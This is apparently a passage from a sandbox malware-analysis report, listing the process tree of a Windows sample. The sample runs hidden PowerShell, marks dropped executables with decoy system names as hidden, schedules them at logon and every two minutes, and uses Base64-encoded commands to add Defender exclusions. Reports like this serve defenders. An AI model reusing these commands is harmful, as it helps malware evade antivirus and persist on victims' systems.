- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2560
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache
      4⤵
      Views/modifies file attributes
      PID:5592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe" 2>nul'"
  2⤵
  PID:4648
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4660
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe
      4⤵
      Views/modifies file attributes
      PID:204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABBAHAAcABNAG8AZABlAGwAXABcAEMAYQBjAGgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABBAHAAcABNAG8AZABlAGwAXABcAEMAYQBjAGgAZQBcAFwAYgBhAGMAawBnAHIAbwB1AG4AZABUAGEAcwBrAEgAbwBzAHQALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAGIAYQBjAGsAZwByAG8AdQBuAGQAVABhAHMAawBIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:3304
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6164
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:1452
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0" 2>nul'"
  2⤵
  PID:4120
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:5292
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0
      4⤵
      Views/modifies file attributes
      PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2628
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:7128
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe
      4⤵
      Views/modifies file attributes
      PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAEwAUgBfAHYANAAuADAAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEMATABSAF8AdgA0AC4AMAAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABDAEwAUgBfAHYANAAuADAAXABcAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAeQBzAHQAZQBtAFMAZQB0AHQAaQBuAGcAcwBVAHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5312
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:4884
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6812
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:6436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:3928
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS" 2>nul'"
  2⤵
  PID:6592
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4212
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS
      4⤵
      Views/modifies file attributes
      PID:7100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe" 2>nul'"
  2⤵
  PID:3756
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4844
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe
      4⤵
      Views/modifies file attributes
      PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBTAHgAUwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABXAGkAbgBkAG8AdwBzAFwAXABXAGkAbgBTAHgAUwBcAFwAbgBnAGUAbgBfAHMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAG4AZwBlAG4AXwBzAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:6604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6460
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6532
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6820
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6964
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6988
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6404
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery
      4⤵
      Views/modifies file attributes
      PID:7024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe" 2>nul'"
  2⤵
  PID:3780
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6148
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe
      4⤵
      System Time Discovery
      Views/modifies file attributes
      PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABJAG4AdABlAHIAbgBlAHQAIABFAHgAcABsAG8AcgBlAHIAXABcAFIAZQBjAG8AdgBlAHIAeQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
